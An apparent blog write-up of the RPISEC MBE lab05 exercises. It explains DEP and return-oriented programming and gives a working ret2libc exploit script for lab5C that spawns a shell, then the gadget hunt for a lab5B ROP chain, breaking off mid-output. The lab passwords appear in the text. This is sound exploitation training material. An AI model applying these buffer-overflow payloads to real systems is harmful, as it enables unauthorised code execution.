{"id":366,"date":"2018-02-09T09:52:55","date_gmt":"2018-02-09T09:52:55","guid":{"rendered":"https:\/\/devel0pment.de\/?p=366"},"modified":"2019-04-22T09:02:27","modified_gmt":"2019-04-22T09:02:27","slug":"rpisec-mbe-writeup-lab05-dep-and-rop","status":"publish","type":"post","link":"https:\/\/devel0pment.de\/?p=366","title":{"rendered":"RPISEC\/MBE: writeup lab05 (DEP and ROP)"},"content":{"rendered":"<p>In <a href=\"https:\/\/devel0pment.de\/?p=351\">the last writeup<\/a> we used different format string vulnerabilites in order to exploit the provided binaries. This writeup continues with lab05 which introduces <i>DEP and ROP<\/i>.<\/p>\r\n<p>As usual there are three levels ranging from C to A:<br>\r\n&#8211;&gt; <a href=\"https:\/\/devel0pment.de\/?p=366#lab5C\">lab5C<\/a><br>\r\n&#8211;&gt; <a href=\"https:\/\/devel0pment.de\/?p=366#lab5B\">lab5B<\/a><br>\r\n&#8211;&gt; <a href=\"https:\/\/devel0pment.de\/?p=366#lab5A\">lab5A<\/a><\/p>\r\n<p><!--more--><\/p>\r\n<hr>\r\n<h1 id=\"lab5C\">lab5C<\/h1>\r\n<p>We start by connecting to the first level of lab05 using the credentials <span style=\"color: #ff0000;\">lab5C<\/span> with the password <span style=\"color: #ff0000;\">lab05start<\/span>:<\/p>\r\n\r\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngameadmin@warzone:~$ sudo ssh lab5C@localhost\r\n&#x5B;sudo] password for gameadmin:\r\nlab5C@localhost's password: (lab05start)\r\n        ____________________.___  _____________________________\r\n        \\______   \\______   \\   |\/   _____\/\\_   _____\/\\_   ___ \\\r\n         |       _\/|     ___\/   |\\_____  \\  |    __)_ \/    \\  \\\/\r\n         |    |   \\|    |   |   |\/        \\ |        \\\\     \\____\r\n         |____|_  \/|____|   |___\/_______  \/\/_______  \/ \\______  \/\r\n                \\\/                      \\\/         \\\/         \\\/\r\n __      __  _____ ____________________________    _______  ___________\r\n\/  \\    \/  \\\/  _  \\\\______   \\____    \/\\_____  \\   \\      \\ \\_   _____\/\r\n\\   \\\/\\\/   \/  \/_\\  \\|       _\/ \/     \/  \/   |   \\  \/   |   \\ |    __)_\r\n \\        \/    |    \\    |   \\\/     \/_ \/    |    \\\/    |    \\|        \\\r\n  \\__\/\\  \/\\____|__  \/____|_  \/_______ \\\\_______  \/\\____|__  \/_______  \/\r\n       \\\/         \\\/       \\\/        \\\/        \\\/         \\\/        \\\/\r\n\r\n        --------------------------------------------------------\r\n\r\n                       Challenges are in \/levels\r\n                   Passwords are in \/home\/lab*\/.pass\r\n            You can create files or work directories in \/tmp\r\n\r\n         -----------------&#x5B; contact@rpis.ec ]-----------------\r\n\r\nLast login: Mon Jan 22 05:48:49 2018 from localhost\r\n\r\n<\/pre><\/div>\r\n\r\n<p>Let&#8217;s have a look at the source code:\r\n<\/p>\r\n\r\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; first-line: 0; highlight: [11,12,20,21]; title: ; notranslate\" title=\"\">\r\nlab5C@warzone:\/levels\/lab05$ cat lab5C.c\r\n#include &lt;stdlib.h&gt;\r\n#include &lt;stdio.h&gt;\r\n\r\n\/* gcc -fno-stack-protector -o lab5C lab5C.c *\/\r\n\r\nchar global_str&#x5B;128];\r\n\r\n\/* reads a string, copies it to a global *\/\r\nvoid copytoglobal()\r\n{\r\n    char buffer&#x5B;128] = {0};\r\n    gets(buffer);\r\n    memcpy(global_str, buffer, 128);\r\n}\r\n\r\nint main()\r\n{\r\n    char buffer&#x5B;128] = {0};\r\n\r\n    printf(&quot;I included libc for you...\\n&quot;\\\r\n           &quot;Can you ROP to system()?\\n&quot;);\r\n\r\n    copytoglobal();\r\n\r\n    return EXIT_SUCCESS;\r\n}\r\n\r\n<\/pre><\/div>\r\n\r\n<p>What does the program do?<br>\r\n&#8211;&gt; In the <code>main<\/code> function <code>printf<\/code> is called (line 20-21).<br>\r\n&#8211;&gt; The function <code>copytoglobal<\/code> defines a local char array sized 128 bytes (<code>buffer<\/code>, line 11).<br>\r\n&#8211;&gt; This buffer is passed as an argument to a call to <code>gets<\/code> (line 12).<\/p>\r\n<p>Where is the vulnerability within the program?<\/p>\r\n<p>This is quite obvious: the function <code>gets<\/code> reads from <code>stdin<\/code> into <code>buffer<\/code> until a <code>newline<\/code> character is read or the <code>end-of-file<\/code> is reached. There is no boundary checking and we can thus exploit this vulnerability to overwrite all values following the buffer on the stack.<\/p>\r\n<p>The 4th line of the source code already contains the <code>gcc<\/code> command which has been used to compile the binary. The option <code>-fno-stack-protector<\/code> tells <code>gdb<\/code> not to embed a stack canary.<\/p>\r\n<p>We can also use <code>checksec<\/code> to list all employed security mechanisms:\r\n<\/p>\r\n\r\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab5C@warzone:\/levels\/lab05$ checksec lab5C\r\nRELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY FORTIFIED FORTIFY-able  FILE\r\nPartial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No      0               2       lab5C\r\n\r\n<\/pre><\/div>\r\n\r\n<p>The difference to the last labs is that <i>NX (No-Execute)<\/i> or also called <i>Data Executive Protection (DEP)<\/i> is enabled now. This means that memory regions like that stack are marked as non-executable. If we try to execute an instructions stored on the stack the program will raise a segmentation fault. Thus we cannot simply store a shellcode in the buffer and overwrite the return address with the address of the buffer.<\/p>\r\n<p>The instructions of the binary itself, which are stored in the <code>.text<\/code> section, cannot be marked as non-executable since these instructions are supposed to be executed. We can leverage this fact using a technique called <i>Return Oriented Programming (ROP)<\/i>. The idea of <i>ROP<\/i> is to recycle instructions which are already present within the binary itself or within shared libraries used by the binary.<\/p>\r\n<p>The expression <i>Return Oriented Programming<\/i> is based on the fact that single instructions, which are followed by a <code>ret<\/code> instruction, are used. These little code snippets are called <i>ROP-gadgets<\/i>. In order to carry out more complex tasks, multiple <i>ROP-gadgets<\/i> can be chained together forming a so called <i>ROP-chain<\/i>.<\/p>\r\n<p>If we would like to execute the following instructions:\r\n<\/p>\r\n\r\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; gutter: false; title: ; notranslate\" title=\"\">\r\nxor eax, eax\r\npop eax\r\npop edx\r\n\r\n<\/pre><\/div>\r\n\r\n<p>We would search for these gadgets within the available code:\r\n<\/p>\r\n\r\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; gutter: false; title: ; notranslate\" title=\"\">\r\n0x00402a36: xor eax, eax\r\n0x00402a38: ret\r\n\r\n0x00403b46: pop eax\r\n0x00403b47: ret\r\n\r\n0x004087d2: pop edx\r\n0x004087d3: ret\r\n\r\n<\/pre><\/div>\r\n\r\n<p>In order to execute these gadgets we place the following addresses on the stack (the first one overwriting the initial return address):\r\n<\/p>\r\n<pre>[  0x00402a36  ]    &lt;-- overwritten return address (1st gadget)\r\n[  0x00403b46  ]    &lt;-- 2nd gadget\r\n[  0x004087d2  ]    &lt;-- 3rd gadget\r\n<\/pre>\r\n<p>When the <code>ret<\/code> instruction of the function with the buffer overflow vulnerability is reached it pops the first address from the stack (<code>0x00402a36<\/code>) and proceeds the code execution at this address: <code>xor eax, eax<\/code>. After that a <code>ret<\/code> instruction follows, letting the code executing proceed at the next gadget and so forth. This way we can build together multiple <i>gadgets<\/i> to a whole <i>ROP-chain<\/i>.<\/p>\r\n<p>A special use case of <i>ROP<\/i> is a technique called <i>return to libc<\/i> (<i>ret2libc<\/i>). Since most applications use the standard c-library <i>libc<\/i> we can use <i>ROP<\/i> to return to functions within the <i>libc<\/i>. One function we may want to call is <code>system<\/code>.<\/p>\r\n<p>As we have already seen in the last labs, function arguments are passed on the stack (on a 64bit system function arguments are passed within registers). Thus the stack for this level has to look like this in order to call <code>system(\"bin\/sh\")<\/code>:\r\n<\/p>\r\n<pre>[    address system   ]    &lt;-- overwritten return address\r\n[        JUNK         ]    &lt;-- 4 bytes junk, this is where the code execution proceeds after <code>system<\/code> [ address \"\/bin\/sh\" ] &lt;-- first and only argument to <code>system<\/code><\/pre>\r\n<p>At first we calculate the offset to the return address using a pattern:\r\n<\/p>\r\n\r\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,3,18,21,35,36]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ pattern create 200 \/tmp\/pat200\r\nWriting pattern of 200 chars to filename &quot;\/tmp\/pat200&quot;\r\ngdb-peda$ r &lt; \/tmp\/pat200\r\nStarting program: \/levels\/lab05\/lab5C &lt; \/tmp\/pat200\r\nI included libc for you...\r\nCan you ROP to system()?\r\n\r\nProgram received signal SIGSEGV, Segmentation fault.\r\n&#x5B;----------------------------------registers-----------------------------------]\r\nEAX: 0x20 (&#039; &#039;)\r\nEBX: 0x41416d41 (&#039;AmAA&#039;)\r\nECX: 0x0\r\nEDX: 0x804a060 (&quot;AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOA&quot;)\r\nESI: 0x6e414152 (&#039;RAAn&#039;)\r\nEDI: 0x41534141 (&#039;AASA&#039;)\r\nEBP: 0x41416f41 (&#039;AoAA&#039;)\r\nESP: 0xbffff680 (&quot;AAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA&quot;)\r\nEIP: 0x70414154 (&#039;TAAp&#039;)\r\nEFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\nInvalid $PC address: 0x70414154\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0xbffff680 (&quot;AAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA&quot;)\r\n0004| 0xbffff684 (&quot;AqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA&quot;)\r\n0008| 0xbffff688 (&quot;VAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA&quot;)\r\n0012| 0xbffff68c (&quot;AAWAAsAAXAAtAAYAAuAAZAAvAAwA&quot;)\r\n0016| 0xbffff690 (&quot;AsAAXAAtAAYAAuAAZAAvAAwA&quot;)\r\n0020| 0xbffff694 (&quot;XAAtAAYAAuAAZAAvAAwA&quot;)\r\n0024| 0xbffff698 (&quot;AAYAAuAAZAAvAAwA&quot;)\r\n0028| 0xbffff69c (&quot;AuAAZAAvAAwA&quot;)\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\nStopped reason: SIGSEGV\r\n0x70414154 in ?? ()\r\ngdb-peda$ pattern offset $eip\r\n1883324756 found at offset: 156\r\ngdb-peda$\r\n\r\n<\/pre><\/div>\r\n\r\n<p>The program raised a segmentation fault when trying to access the address <code>0x70414154<\/code> which is part of the pattern <code>gdb-peda<\/code> created for us. The offset can be calculated automatically using the command <code>pattern offset $eip<\/code>: <code>156<\/code>.<\/p>\r\n<p>Now we have to get the address of the function <code>system<\/code> as well as the string <code>\"\/bin\/sh\"<\/code>. Luckily the libc contains this string:\r\n<\/p>\r\n\r\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngdb-peda$ p system\r\n$1 = {&lt;text variable, no debug info&gt;} 0xb7e63190 &lt;__libc_system&gt;;\r\ngdb-peda$ searchmem &quot;\/bin\/sh&quot;\r\nSearching for &#039;\/bin\/sh&#039; in: None ranges\r\nFound 1 results, display max 1 items:\r\nlibc : 0xb7f83a24 (&quot;\/bin\/sh&quot;)\r\n\r\n<\/pre><\/div>\r\n\r\n<p>The only thing left do is to construct the final input:\r\n<\/p>\r\n<pre>[  ... 156 bytes ... ]    &lt;-- fill buffer until return address\r\n[     0xb7e63190     ]    &lt;-- address of <code>system<\/code> (overwritten return address) [ JUNK ] &lt;-- 4 bytes junk [ 0xb7f83a24 ] &lt;-- address of \"\/bin\/sh\" (first and only argument to <code>system<\/code>)<\/pre>\r\n<p>And write a little python script to run the program with this input:\r\n<\/p>\r\n\r\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; first-line: 0; title: ; notranslate\" title=\"\">\r\nlab5C@warzone:\/levels\/lab05$ cat \/tmp\/exploit_lab5C.py\r\nfrom pwn import *\r\n\r\naddr_system = 0xb7e63190\r\naddr_binsh  = 0xb7f83a24\r\n\r\np = process('.\/lab5C')\r\n\r\nprint(p.recv(100))\r\n\r\nexpl  = 'X' * 156\r\nexpl += p32(addr_system)\r\nexpl += \"JUNK\"\r\nexpl += p32(addr_binsh)\r\n\r\np.sendline(expl)\r\np.interactive()\r\n\r\n<\/pre><\/div>\r\n\r\n<p>Running the script:\r\n<\/p>\r\n\r\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab5C@warzone:\/levels\/lab05$ python \/tmp\/exploit_lab5C.py\r\n&#x5B;+] Starting program '.\/lab5C': Done\r\nI included libc for you...\r\nCan you ROP to system()?\r\n\r\n&#x5B;*] Switching to interactive mode\r\n$ whoami\r\nlab5B\r\n$ cat \/home\/lab5B\/.pass\r\ns0m3tim3s_r3t2libC_1s_3n0ugh\r\n\r\n<\/pre><\/div>\r\n\r\n<p><\/p>\r\n<p>Done \ud83d\ude42 The password for the next level is <code>s0m3tim3s_r3t2libC_1s_3n0ugh<\/code>.<\/p>\r\n<hr>\r\n<h1 id=\"lab5B\">lab5B<\/h1>\r\n<p>We connecting to the next level using the previously gained credentials <span style=\"color: #ff0000;\">lab5B<\/span> with the password <span style=\"color: #ff0000;\">s0m3tim3s_r3t2libC_1s_3n0ugh<\/span>:\r\n<\/p>\r\n\r\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\ngameadmin@warzone:~$ sudo ssh lab5B@localhost\r\nlab5B@localhost's password: (s0m3tim3s_r3t2libC_1s_3n0ugh)\r\n        ____________________.___  _____________________________\r\n        \\______   \\______   \\   |\/   _____\/\\_   _____\/\\_   ___ \\\r\n         |       _\/|     ___\/   |\\_____  \\  |    __)_ \/    \\  \\\/\r\n         |    |   \\|    |   |   |\/        \\ |        \\\\     \\____\r\n         |____|_  \/|____|   |___\/_______  \/\/_______  \/ \\______  \/\r\n                \\\/                      \\\/         \\\/         \\\/\r\n __      __  _____ ____________________________    _______  ___________\r\n\/  \\    \/  \\\/  _  \\\\______   \\____    \/\\_____  \\   \\      \\ \\_   _____\/\r\n\\   \\\/\\\/   \/  \/_\\  \\|       _\/ \/     \/  \/   |   \\  \/   |   \\ |    __)_\r\n \\        \/    |    \\    |   \\\/     \/_ \/    |    \\\/    |    \\|        \\\r\n  \\__\/\\  \/\\____|__  \/____|_  \/_______ \\\\_______  \/\\____|__  \/_______  \/\r\n       \\\/         \\\/       \\\/        \\\/        \\\/         \\\/        \\\/\r\n\r\n        --------------------------------------------------------\r\n\r\n                       Challenges are in \/levels\r\n                   Passwords are in \/home\/lab*\/.pass\r\n            You can create files or work directories in \/tmp\r\n\r\n         -----------------&#x5B; contact@rpis.ec ]-----------------\r\nLast login: Mon Jan 22 16:04:02 2018 from localhost\r\n\r\n<\/pre><\/div>\r\n\r\n<p>Let&#8217;s have a look at the source code:\r\n<\/p>\r\n\r\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; first-line: 0; highlight: [4]; title: ; notranslate\" title=\"\">\r\nlab5B@warzone:\/levels\/lab05$ cat lab5B.c\r\n#include &lt;stdlib.h&gt;\r\n#include &lt;stdio.h&gt;\r\n\r\n\/* gcc -fno-stack-protector --static -o lab5B lab5B.c *\/\r\n\r\nint main()\r\n{\r\n\r\n    char buffer&#x5B;128] = {0};\r\n\r\n    printf(&quot;Insert ROP chain here:\\n&quot;);\r\n    gets(buffer);\r\n\r\n    return EXIT_SUCCESS;\r\n}\r\n\r\n<\/pre><\/div>\r\n\r\n<p>The source code is even smaller than the source code from the last level. There is just simple buffer overflow vulnerability, because <code>gets<\/code> reads into <code>buffer<\/code> without any boundary checking.<\/p>\r\n<p>More interesting are the <code>gcc<\/code> options used to compile the binary on line 4. We can use the buffer overflow to override the return address of the function <code>main<\/code> since there is no stack canary (option <code>-fno-stack-protector<\/code>). The second option set is <code>--static<\/code>, which creates a statically linked binary. In comparison to a dynamically linked binary all required libraries are included in the binary itself. This means that the binary does not need to load any libraries such as the libc. All necessary functions are already included. We can verify that these compiler options have been used with <code>checksec<\/code>, <code>file<\/code> and <code>radare2<\/code>:\r\n<\/p>\r\n\r\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab5B@warzone:\/levels\/lab05$ checksec lab5B\r\nRELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY FORTIFIED FORTIFY-able  FILE\r\nPartial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   Yes     2               40      lab5B\r\n\r\n<\/pre><\/div>\r\n\r\n<p><code>checksec<\/code> tells us that no canary has been found (<code>-fno-stack-protector<\/code>) and <code>NX<\/code> is enabled. This is the default value for <code>NX<\/code> and has been disabled in the previous labs using the option <code>-z execstack<\/code>.<\/p>\r\n<p>The type of linkage can be verified using <code>file<\/code>:\r\n<\/p>\r\n\r\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nlab5B@warzone:\/levels\/lab05$ file lab5B\r\nlab5B: setuid ELF 32-bit LSB  executable, Intel 80386, version 1 (GNU\/Linux), statically linked, for GNU\/Linux 2.6.24, BuildID&#x5B;sha1]=09ad107d6eb5518c5781ccffdad51b39a28e237e, not stripped\r\n\r\n<\/pre><\/div>\r\n\r\n<p>The binary is linked statically.<\/p>\r\n<p>Alternatively we can also use <code>radare2<\/code> to get all this information:\r\n<\/p>\r\n\r\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [3,4,17]; title: ; notranslate\" title=\"\">\r\n&#x5B;0x08048d2a]&gt; iI\r\npic      false\r\ncanary   false\r\nnx       true\r\ncrypto   false\r\nva       true\r\nbintype  elf\r\nclass    ELF32\r\nlang     c\r\narch     x86\r\nbits     32\r\nmachine  Intel 80386\r\nos       linux\r\nsubsys   linux\r\nendian   little\r\nstripped false\r\nstatic   true\r\nlinenum  true\r\nlsyms    true\r\nrelocs   true\r\nrpath    NONE\r\nbinsz    737496\r\n\r\n<\/pre><\/div>\r\n\r\n<p>The difference to the last level, where we could just <i>return to libc<\/i>, is that there is no libc here since all required functions are statically linked into the binary. Thus we have to use the available code snippets (<i>gadgets<\/i>) and create a <i>ROP-chain<\/i>.<\/p>\r\n<p>As usual the first thing we need to do is to determine the offset to the return address we want to overwrite:\r\n<\/p>\r\n\r\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,3,17,20,34,35]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ pattern create 200 \/tmp\/pattern_lab5B\r\nWriting pattern of 200 chars to filename &quot;\/tmp\/pattern_lab5B&quot;\r\ngdb-peda$ r &lt; \/tmp\/pattern_lab5B\r\nStarting program: \/levels\/lab05\/lab5B &lt; \/tmp\/pattern_lab5B\r\nInsert ROP chain here:\r\n\r\nProgram received signal SIGSEGV, Segmentation fault.\r\n&#x5B;----------------------------------registers-----------------------------------]\r\nEAX: 0x0\r\nEBX: 0x41416b41 (&#039;AkAA&#039;)\r\nECX: 0xfbad2098\r\nEDX: 0x80ec4e0 --&gt; 0x0\r\nESI: 0x0\r\nEDI: 0x6c414150 (&#039;PAAl&#039;)\r\nEBP: 0x41514141 (&#039;AAQA&#039;)\r\nESP: 0xbffff730 (&quot;RAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA&quot;)\r\nEIP: 0x41416d41 (&#039;AmAA&#039;)\r\nEFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\nInvalid $PC address: 0x41416d41\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0xbffff730 (&quot;RAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA&quot;)\r\n0004| 0xbffff734 (&quot;AASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA&quot;)\r\n0008| 0xbffff738 (&quot;AoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA&quot;)\r\n0012| 0xbffff73c (&quot;TAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA&quot;)\r\n0016| 0xbffff740 (&quot;AAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA&quot;)\r\n0020| 0xbffff744 (&quot;AqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA&quot;)\r\n0024| 0xbffff748 (&quot;VAArAAWAAsAAXAAtAAYAAuAAZAAvAAwA&quot;)\r\n0028| 0xbffff74c (&quot;AAWAAsAAXAAtAAYAAuAAZAAvAAwA&quot;)\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\nStopped reason: SIGSEGV\r\n0x41416d41 in ?? ()\r\ngdb-peda$ pattern offset $eip\r\n1094806849 found at offset: 140\r\n\r\n<\/pre><\/div>\r\n\r\n<p>Using the <code>gdb-peda<\/code> command <code>pattern create<\/code> we can easily create a pattern and run the program with that pattern. The offset to the return address can be calculated after the segmentation fault using the command <code>pattern offset $eip<\/code>: 140 byte.<\/p>\r\n<p>The <i>ROP-chain<\/i> we are going to create should basically do the same as the shellcode we used in the previous labs: execute the syscall <code>sys_execve<\/code> passing <code>\"\/bin\/sh\"<\/code> as argument and thus spawning a shell.<\/p>\r\n<p>So we are looking for the following instructions:\r\n<\/p>\r\n\r\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; gutter: false; title: ; notranslate\" title=\"\">\r\nmov eax, 0x0b\r\nmov ecx, 0x00\r\nmov edx, 0x00\r\nmov ebx, &lt;address of &quot;\/bin\/sh&quot;&gt;\r\nint 0x80\r\n\r\n<\/pre><\/div>\r\n\r\n<p>We start with the address of <code>\"\/bin\/sh\"<\/code>. In the last level we have seen, that the libc usually contains this string. Unfortunately there is no libc here and the string is not part of the binary:\r\n<\/p>\r\n\r\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n&#x5B;0x08048d2a]&gt; \/ \/bin\/sh\r\nSearching 7 bytes from 0x08048000 to 0x080edf44: 2f 62 69 6e 2f 73 68\r\n# 6 &#x5B;0x8048000-0x80edf44]\r\nhits: 0\r\n\r\n<\/pre><\/div>\r\n\r\n<p>Nevertheless we can just store the string in the buffer ourself. Thus we only need the address of the buffer. We can determine the address using <code>gdb<\/code> and setting a breakpoint before the call to <code>gets<\/code>:\r\n<\/p>\r\n\r\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,5,6,10,12,30,38]; title: ; notranslate\" title=\"\">\r\ngdb-peda$ disassemble main\r\nDump of assembler code for function main:\r\n   0x08048e44 &lt;+0&gt;:     push   ebp\r\n   ...\r\n   0x08048e76 &lt;+50&gt;:    mov    DWORD PTR &#x5B;esp],eax\r\n   0x08048e79 &lt;+53&gt;:    call   0x804f6a0 &lt;gets&gt;\r\n   ...\r\n   0x08048e89 &lt;+69&gt;:    ret\r\nEnd of assembler dump.\r\ngdb-peda$ b *main+53\r\nBreakpoint 1 at 0x8048e79\r\ngdb-peda$ r\r\nStarting program: \/levels\/lab05\/lab5B\r\nInsert ROP chain here:\r\n&#x5B;----------------------------------registers-----------------------------------]\r\nEAX: 0xbffff6a0 --&gt; 0x0\r\nEBX: 0xbffff6a0 --&gt; 0x0\r\nECX: 0x80ec4d4 --&gt; 0x0\r\nEDX: 0x17\r\nESI: 0x0\r\nEDI: 0xbffff720 --&gt; 0x80481a8 (&lt;_init&gt;: push   ebx)\r\nEBP: 0xbffff728 --&gt; 0x8049610 (&lt;__libc_csu_fini&gt;:       push   ebx)\r\nESP: 0xbffff690 --&gt; 0xbffff6a0 --&gt; 0x0\r\nEIP: 0x8048e79 (&lt;main+53&gt;:      call   0x804f6a0 &lt;gets&gt;)\r\nEFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)\r\n&#x5B;-------------------------------------code-------------------------------------]\r\n   0x8048e6d &lt;main+41&gt;: call   0x804f830 &lt;puts&gt;\r\n   0x8048e72 &lt;main+46&gt;: lea    eax,&#x5B;esp+0x10]\r\n   0x8048e76 &lt;main+50&gt;: mov    DWORD PTR &#x5B;esp],eax\r\n=&gt; 0x8048e79 &lt;main+53&gt;: call   0x804f6a0 &lt;gets&gt;\r\n   0x8048e7e &lt;main+58&gt;: mov    eax,0x0\r\n   0x8048e83 &lt;main+63&gt;: lea    esp,&#x5B;ebp-0x8]\r\n   0x8048e86 &lt;main+66&gt;: pop    ebx\r\n   0x8048e87 &lt;main+67&gt;: pop    edi\r\nGuessed arguments:\r\narg&#x5B;0]: 0xbffff6a0 --&gt; 0x0\r\n&#x5B;------------------------------------stack-------------------------------------]\r\n0000| 0xbffff690 --&gt; 0xbffff6a0 --&gt; 0x0\r\n0004| 0xbffff694 --&gt; 0x0\r\n0008| 0xbffff698 --&gt; 0xca0000\r\n0012| 0xbffff69c --&gt; 0x1\r\n0016| 0xbffff6a0 --&gt; 0x0\r\n0020| 0xbffff6a4 --&gt; 0x0\r\n0024| 0xbffff6a8 --&gt; 0x0\r\n0028| 0xbffff6ac --&gt; 0x0\r\n&#x5B;------------------------------------------------------------------------------]\r\nLegend: code, data, rodata, value\r\n\r\nBreakpoint 1, 0x08048e79 in main ()\r\n\r\n<\/pre><\/div>\r\n\r\n<p>The argument on the stack is the address to the buffer: <code>0xbffff6a0<\/code>.<\/p>\r\n<p>Now we need to find gadgets which will carry out the instructions we want to execute. As always with x86-assembly there are plenty of ways to do things. The instructions we want to execute are basically <code>mov<\/code> instructions. Because it is not very likely that the binary contains the gadget <code>mov ebx, 0xbffff6a0<\/code>, it is more common to look for <code>pop<\/code> instructions. As we control what is on the stack, we can just place the value we want to be in <code>ebx<\/code> on the stack and than execute the gadget <code>pop ebx<\/code>.<\/p>\r\n<p>So we start by looking for <code>pop<\/code> gadgets. With <code>radare2<\/code> gadgets can be found using the command <code>\/R\/<\/code> (the command should be put into double quotes):\r\n<\/p>\r\n\r\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [1,12]; title: ; notranslate\" title=\"\">\r\n&#x5B;0x08048d2a]&gt; &quot;\/R\/ pop eax;ret&quot;\r\n  0x0804a0cf             58  pop eax\r\n  0x0804a0d0           08f6  or dh, dh\r\n  0x0804a0d2         c2df0f  ret 0xfdf\r\n\r\n  0x0804be75   69f2ffff0fb6  imul esi, edx, 0xb60fffff\r\n  0x0804be7b             58  pop eax\r\n  0x0804be7c   0880fb380f84  or byte &#x5B;eax - 0x7bf0c705], al\r\n  0x0804be82             cf  iretd\r\n  ...\r\n\r\n  0x080e4c56             58  pop eax\r\n  0x080e4c57             c3  ret\r\n  ...\r\n\r\n<\/pre><\/div>\r\n\r\n<p>At <code>0x080e4c56<\/code> there is the gadget we are looking for to place a value in <code>eax<\/code>.<\/p>\r\n<p>We proceed with <code>ecx<\/code>, <code>edx<\/code> and <code>ebx<\/code>:\r\n<\/p>\r\n\r\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [3]; title: ; notranslate\" title=\"\">\r\n&#x5B;0x08048d2a]&gt; &quot;\/R\/ pop ecx;ret&quot;\r\n  ...\r\n  0x080e55ad             59  pop ecx\r\n  0x080e55ae             c3  ret\r\n  ...\r\n\r\n<\/pre><\/div>\r\n\r\n<p>Our second gadget to set the value of <code>ecx<\/code> is located at <code>0x080e55ad<\/code>.\r\n<\/p>\r\n\r\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [3]; title: ; notranslate\" title=\"\">\r\n&#x5B;0x08048d2a]&gt; &quot;\/R\/ pop edx;ret&quot;\r\n  ...\r\n  0x080817f6             5a  pop edx\r\n  0x080817f7             c3  ret\r\n  ...\r\n\r\n<\/pre><\/div>\r\n\r\n<p>The third gadget is located at <code>0x080817f6<\/code>.\r\n<\/p>\r\n\r\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [4]; title: ; notranslate\" title=\"\">\r\n&#x5B;0x08048d2a]&gt; &quot;\/R\/ pop ebx;ret&quot;\r\n  ...\r\n  0x080bdeca           c418  les ebx, &#x5B;eax]\r\n  0x080bdecc             5b  pop ebx\r\n  0x080bdecd             c3  ret\r\n  ...\r\n\r\n<\/pre><\/div>\r\n\r\n<p>At the fourth gadget is located at <code>0x080bdecc<\/code>.<\/p>\r\n<p>The only instruction missing is the syscall <code>int 0x80<\/code>:\r\n<\/p>\r\n\r\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [6]; title: ; notranslate\" title=\"\">\r\n&#x5B;0x08048d2a]&gt; &quot;\/R\/ int 0x80&quot;\r\n  